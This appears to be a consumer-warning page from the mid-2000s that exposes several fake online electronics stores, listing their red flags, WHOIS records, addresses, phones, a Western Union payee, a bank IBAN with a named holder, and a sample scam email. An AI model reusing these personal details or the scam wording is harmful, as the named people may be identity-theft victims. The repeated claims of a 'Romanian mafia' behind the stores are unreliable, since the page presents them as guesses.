is the brand for Active ISP ASA.
Electronics Store Ltd. / ionut.biz
Fake electronics store, probably run by a gang from Romania. The TRUSTe seal and all other certificate seals on the home page are fake, none of them are links to a valid certification. All three branch offices share one number bewtween the phone and fax. All the postal addresses are fake. The domain of this supposedly UK / French / Italian company was registered using a fake address in Ohio, USA.
abuse@megawebservers.com
Electronics Store Ltd.
12 Rotherhithe Street,
Glasgow, D04 89GR,
United Kingdom.
Phone: +44 789 155 4239
Fax: +44 789 155 4239
E-mail: orders@ionut.biz
Electronics Store Ltd.
47, rue de Ponthieu,
43100 Charmonix,
France.
Tel: +33 603 345 4546
Fax: +33 603 345 4546
E-mail: sales@ionut.biz
Electronics Store Ltd.
C.so Ivrea nr. 45/46,
10080,
Aosta (Valle D'Aosta),
Italia.
Tel: +39 347 238 2667
Fax: +39 347 238 2667
E-mail: ordini@ionut.biz
Message headers:
Domain Name: IONUT.BIZ Domain ID: D10735124-BIZ Sponsoring Registrar: TUCOWS INC. Sponsoring Registrar IANA ID: 69 Domain Status: clientTransferProhibited Domain Status: clientUpdateProhibited Registrant ID: TUMAVYLBKC6JAPBH Registrant Name: Zachary Guren Registrant Organization: Ionut-Biz Registrant Address1: 8710 Hunting Hills Drive Registrant City: Kirtland Hills Registrant State/Province: OH Registrant Postal Code: 44060 Registrant Country: United States Registrant Country Code: US Registrant Phone Number: +1.216749 x6601 Registrant Email: colecatherin@yahoo.com Administrative Contact ID: TUMAVYLBKC6JAPBH Administrative Contact Name: Zachary Guren Administrative Contact Organization: Ionut-Biz Administrative Contact Address1: 8710 Hunting Hills Drive Administrative Contact City: Kirtland Hills Administrative Contact State/Province: OH Administrative Contact Postal Code: 44060 Administrative Contact Country: United States Administrative Contact Country Code: US Administrative Contact Phone Number: +1.216749 x6601 Administrative Contact Email: colecatherin@yahoo.com Billing Contact ID: TUMAVYLBKC6JAPBH Billing Contact Name: Zachary Guren Billing Contact Organization: Ionut-Biz Billing Contact Address1: 8710 Hunting Hills Drive Billing Contact City: Kirtland Hills Billing Contact State/Province: OH Billing Contact Postal Code: 44060 Billing Contact Country: United States Billing Contact Country Code: US Billing Contact Phone Number: +1.216749 x6601 Billing Contact Email: colecatherin@yahoo.com Technical Contact ID: TUMAVYLBKC6JAPBH Technical Contact Name: Zachary Guren Technical Contact Organization: Ionut-Biz Technical Contact Address1: 8710 Hunting Hills Drive Technical Contact City: Kirtland Hills Technical Contact State/Province: OH Technical Contact Postal Code: 44060 Technical Contact Country: United States Technical Contact Country Code: US Technical Contact Phone Number: +1.216749 x6601 Technical Contact Email: colecatherin@yahoo.com Name Server: NS1.FORTUNECITY.NET Name Server: NS2.FORTUNECITY.NET Created by Registrar: TUCOWS INC. Last Updated by Registrar: TUCOWS INC. Domain Registration Date: Wed Aug 24 14:19:03 GMT 2005 Domain Expiration Date: Thu Aug 23 23:59:59 GMT 2007 Domain Last Updated Date: Wed Aug 24 14:19:06 GMT 2005
Same scam as ionut.biz and yourpreston.com:
Centrin Inc.
Sales Rep. Luca Monterro
Via Ludovico il Moro No. 4,
20080 Basiglio,
Italy.
Tel: +39 347 238 2667
Fax: +39 347 238 2667
E-mail: sales@centrin-online.com Centrin Inc.
Sales Rep. Louis Jackson
Byrom Street 12,
Liverpool, L3 3AF,
United Kingdom.
Phone: +44 20 7871 6984
Fax: +44 20 7871 6984
E-mail: orders@centrin-online.com
WHOIS details for domain:
Domain Name: CENTRIN-ONLINE.COM
Registrar: NETFIRMS, INC.
Whois Server: whois.netfirms.com
Referral URL: http://www.netfirms.com
Name Server: NS1.NETFIRMS.COM
Name Server: NS2.NETFIRMS.COM
Status: REGISTRAR-LOCK
EPP Status: clientDeleteProhibited
EPP Status: clientTransferProhibited
EPP Status: clientUpdateProhibited
Updated Date: 12-Apr-2006
Creation Date: 12-Apr-2006
Expiration Date: 12-Apr-2007
Registrant:
Centrin Online
Woods, Gordon
200 E. Henderson
Porterville, CA 93257
US
Domain name: centrin-online.com
Administrative Contact:
Centrin Online centrinroger@yahoo.com
Woods, Gordon
200 E. Henderson
Porterville, CA 93257
US
5597814640 Fax:
Technical Contact:
Netfirms Inc. support@netfirms.com
Manager, Domains
5160 Yonge St., 1800
Toronto, ON M2N6L9
CA
4166612100 Fax: 4166610700
Registrar of Record: Netfirms Inc.
Record expires on 2007-04-12.
Record created on 2006-04-12.
Database last updated on 2006-06-01 18:50:01.
Same scam as ionut.biz and centrin-online.com:
Preston Electronics Ltd.
12 high street moorsholm, Cleveland, TS12 3BQ,
United Kingdom.
Phone: +44 12 1288 4217
Fax: +44 20 8181 7749
E-mail: sales@yourpreston.com Preston Electronics Ltd.
Via Einaudi no33,
31015 Conegliano,
Italy.
Tel: +39 347 238 2667
Fax: +39 347 238 2667
E-mail:
orders@yourpreston.com
WHOIS details for domain:
Domain Name: YOURPRESTON.COM
Registrar: NETFIRMS, INC.
Whois Server: whois.netfirms.com
Referral URL: http://www.netfirms.com
Name Server: NS2.NETFIRMS.COM
Name Server: NS1.NETFIRMS.COM
Status: REGISTRAR-LOCK
EPP Status: clientDeleteProhibited
EPP Status: clientTransferProhibited
EPP Status: clientUpdateProhibited
Updated Date: 24-May-2006
Creation Date: 24-May-2006
Expiration Date: 24-May-2007
Registrant:
Preston Ltd.
Dillon, Melissa
759 lask dr
Yuba City, CA 95991
US
Domain name: yourpreston.com
Administrative Contact:
Preston Ltd. yourpreston@yahoo.com
Dillon, Melissa
759 lask dr
Yuba City, CA 95991
US
530-415-8024 Fax:
Technical Contact:
Netfirms Inc. support@netfirms.com
Manager, Domains
5160 Yonge St., 1800
Toronto, ON M2N6L9
CA
4166612100 Fax: 4166610700
Registrar of Record: Netfirms Inc.
Record expires on 2007-05-24.
Record created on 2006-05-24.
Database last updated on 2006-06-01 18:50:01.
Axus Electronics Ltd / axusmobile.com
Fake electronics store, probably run by a gang from Romania. The TRUSTe seal and all other certificate seals on the home page are fake, none of them are links to a valid certification. All three branch offices share one number bewtween the phone and fax. All the postal addresses are fake. All phone numbers are the same as in the ionut.biz scam.
Axus Electronics Ltd.
195, rue Saint-Jacques - 75005 Paris,
France.
Tel: +33 603 345 4546
Fax: +33 603 345 4546
E-mail: sales@axusmobile.com Axus Electronics Ltd.
19 Russel Street,
Windsor Berks, SL4 1HQ,
United Kingdom.
Phone: +44 789 155 4239
Fax: +44 789 155 4239
E-mail: orders@axusmobile.com
Per i clienti italiani (e per quelli residenti sul nostro territorio) abbiamo creato una e-mail apposta, in modo da velocizzare i tempi della transazione. Contattaci per un'ordine, un dubbio, un problema. Il nostro staff e sempre pronto ad aiutarti
Axus Electronics Ltd.
Plan Felinaz 141, Charvensod, Aosta,
Italy.
Tel: +39 349 896 4275
Fax: +39 349 896 4275
E-mail: ordini@axusmobile.com
Message headers:
Domain Name: AXUSMOBILE.COM
Registrar: EASYSPACE LTD
Whois Server: whois.easyspace.com
Referral URL: http://www.easyspace.com
Name Server: NS4.EASYSPACE.COM
Name Server: NS5.EASYSPACE.COM
Status: REGISTRAR-LOCK
Updated Date: 29-nov-2005
Creation Date: 29-nov-2005
Expiration Date: 29-nov-2006
Registrant:
lyn norwood
38 Peronne Road
Portsmouth, PO3 5LD
UK
Domain name: AXUSMOBILE.COM
Administrative Contact:
norwood, lyn schrabal35@yahoo.com
38 Peronne Road
Portsmouth, PO3 5LD
UK
+44.8707550009 Fax: +44.1419316401
Technical Contact:
Master, Host hostmaster@easyspace.com
Lister Pavilion
Kelvin Campus
West of Scotland Science Park
Glasgow, Scotland G20 0SP
GB
+44.08707555066 Fax: +44.1419316785
Registrar of Record: Easyspace Ltd.
Record last updated on 29-Nov-2005.
Record expires on 29-Nov-2006.
Record created on 29-Nov-2005.
Domain servers in listed order:
NS4.EASYSPACE.COM 84.22.161.11
NS5.EASYSPACE.COM 62.128.193.201
Domain status: REGISTRAR-LOCK
This is a fake electronics store claiming to be based in London, UK. It's probably run by one of the Romanian mafias that dominate these scams. Here are some of the red flags raised by the site:
- Prices by default are denominated in euro even though this is supposed to be a UK company. No legitimate company in the UK will denominate its prices in anything other than Pound Sterling, because that's the legal currency in their country.
- Generally they only accept Western Union (WU) for payment, which is a no-no on online transactions. It's not safe for the buyer. You don't normally come across legitimate online businesses that even mention Western Union as a mode of payment, let alone insist on it as the only method they accept. This store does not accept credit cards or PayPal, which are safe modes of payment for buyers. They only accept bank wire transfers on amounts over 2000 UKL.
- If you order something for a few hundred euro there will be a 500 euro surcharge for small orders, with no explanation.
- The domain "tmtsystemsuk.com" is brand new, it was only created on 27-Oct-2005. Such recent domains are typical for scams. Most company domains are much, much older. The name is unusual for a legitimate UK company. One would expect a UK domain like tmtsystems.co.uk, which is not currently taken.
- Email account tmtsystems@yahoo.co.uk was created the following day, 28-Oct-2005. It's interesting that they used a free webmail address even though they have their own domain. Probably they are accessing from Internet cafes and hence need a webmailer such as Yahoo.
- The "contact us" page has no phone number, only a fax (probably a rented fax mailbox).
Here are the Western Union payment instructions (note that the postal address of the recipient is meaningless in a WU transfer):
Make Payable To:
First Name: Philip
Last Name: Sanders
Adress: 47, Hackney Road
Zip Code: E2 7NX
City: London
Country: United Kingdom
Phone: +442076811542
Your order will not ship until we receive MCTN payment number !.
Domain registration details. Note the absence of a street address and the fake phone number.
Domain Name: TMTSYSTEMSUK.COM
Registrar: WILD WEST DOMAINS, INC.
Whois Server: whois.wildwestdomains.com
Referral URL: http://www.wildwestdomains.com
Name Server: NS1.TMTSYSTEMSUK.COM
Name Server: NS2.TMTSYSTEMSUK.COM
Status: REGISTRAR-LOCK
Updated Date: 28-oct-2005
Creation Date: 27-oct-2005
Expiration Date: 27-oct-2006
>>> Last update of whois database: Wed, 23 Nov 2005 16:31:46 EST <<<
Registrant:
TMT Systems LTD
GROUND FLOOR
London, LD E2 7NX
United Kingdom
Registered through: Mad Dog Domains and Cattle Company
Domain Name: TMTSYSTEMSUK.COM
Created on: 27-Oct-05
Expires on: 27-Oct-06
Last Updated on: 27-Oct-05
Administrative Contact:
Kent, Steve steve_kent2k3@yahoo.com
TMT Systems LTD
GROUND FLOOR
London, LD E2 7NX
United Kingdom
1234270505 Fax --
Technical Contact:
Kent, Steve steve_kent2k3@yahoo.com
TMT Systems LTD
GROUND FLOOR
London, LD E2 7NX
United Kingdom
1234270505 Fax --
Domain servers in listed order:
NS1.TMTSYSTEMSUK.COM
NS2.TMTSYSTEMSUK.COM
This scam is run by the same gang as Extra Mall Inc. / Electrowork / extra-mall.com (created=2005-10-27) and electrolucs.com.
Sample email from this fake company:
From: <office@electro-zara.com>
To: "Firstname Lastname" <emailaddress>
Sent: Thursday, 16 February, 2006
Subject: sony psp
Dear Customer,
I need to know your final order and your full name and the address were
the shipping will be made.I prefer to send you first the packege and we
will use the shipping company such a third part.After i will send you
the psp's and you will have the tracking number from me you will have to
send the payment to the shipping company.after the delivery will be made
to your address you will inspect the psp's 5 days.in this time you will
see if the psp's are good or not.after that you will confirm to the
shipping company and they will send me the payment.in this way i will
have protection for my goods and you for your money.All psp's are brand
new in original box with 1 year international warranty.I wait for your
fast email if you are interested
Thank you!!
damien pablos sales manager
Fake domain registration details:
Domain name: electro-zara.com Registrant: Michael Mikhail (9QF8K) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Administrative Contact: Michael Mikhail (JP4LH) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Technical Contact: Michael Mikhail (9QF8K) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Billing Contact: Michael Mikhail (UM748) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Record last updated on 2006-01-13 00:00:00 Record created on 2006-01-13 00:00:00 Record expires on 2007-01-13 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com Domain Name: ELECTRO-ZARA.COM Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE Updated Date: 13-jan-2006 Creation Date: 13-jan-2006 Expiration Date: 13-jan-2007
Fake electronics store. Claims to based in Greece and a few years old, but registered using a US personal address a few weeks ago.
Contact
Store-GSM Inc.
Petropoylak'h 3-5
Athens Tk104 45
Greece
WHOIS details for domain:
Domain Name: STORE-GSM.COM Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE EPP Status: ok Updated Date: 02-Jun-2006 Creation Date: 02-Jun-2006 Expiration Date: 02-Jun-2007 Domain name: store-gsm.com Registrant: Peter Kohama (MLBHT) tridimensional2@yahoo.com 4315 W. 182nd St. #220 Torrance, CA 90504 United States Phone: +1 (310) 542-0269 Administrative Contact: Peter Kohama (HR24K) tridimensional2@yahoo.com 4315 W. 182nd St. #220 Torrance, CA 90504 United States Phone: +1 (310) 542-0269 Technical Contact: Peter Kohama (MLBHT) tridimensional2@yahoo.com 4315 W. 182nd St. #220 Torrance, CA 90504 United States Phone: +1 (310) 542-0269 Billing Contact: Peter Kohama (SQDXU) tridimensional2@yahoo.com 4315 W. 182nd St. #220 Torrance, CA 90504 United States Phone: +1 (310) 542-0269 Record last updated on 2006-06-02 00:00:00 Record created on 2006-06-02 00:00:00 Record expires on 2007-06-02 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com
"ActivShoper", like "GSM Mobile", is another ficticious electronics supplier in Spain run by the Romanian mafia. They use a Spanish Yahoo address but the IP address from which they reply points to a network in Romania and the name of the holder of the bank account through which they collect funds from victims is Romanian (probably a stolen passport). It's listed on an eBay scammers list.
Av. Gimeno Tomás, 9 - 12560 Benicasim , España
Fax: 34 944 34 1541
ActivShoper@yahoo.es
vrajitorescu@yahoo.com
laptop4sell2007@gmail.com
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IP address 86.107.203.74 (Romania)
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Name: Mindra Stament Bogdan Nicolae
Address: CL/ Poeta Marco V Marcial
City: Zaragoza 50005
Country: Spain
Bank Name: Caja Inmaculada
IBAN# ES47 2086 0106 3311 1000 4161
Swift Code: CECAESMM086
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WHOIS details for domain:
inetnum: 86.107.200.0 - 86.107.203.255 netname: SC-DECK-INTERNET-SRL descr: SC DECK Internet SRL descr: Dezrobirii 15 descr: Bucuresti Sector 6 country: ro admin-c: CD298-RIPE tech-c: OC496-RIPE status: ASSIGNED PA remarks: Registered trough http://www.jump.ro/ip.html mnt-by: RO-MNT mnt-lower: RO-MNT mnt-routes: AS12677-MNT source: RIPE # Filtered
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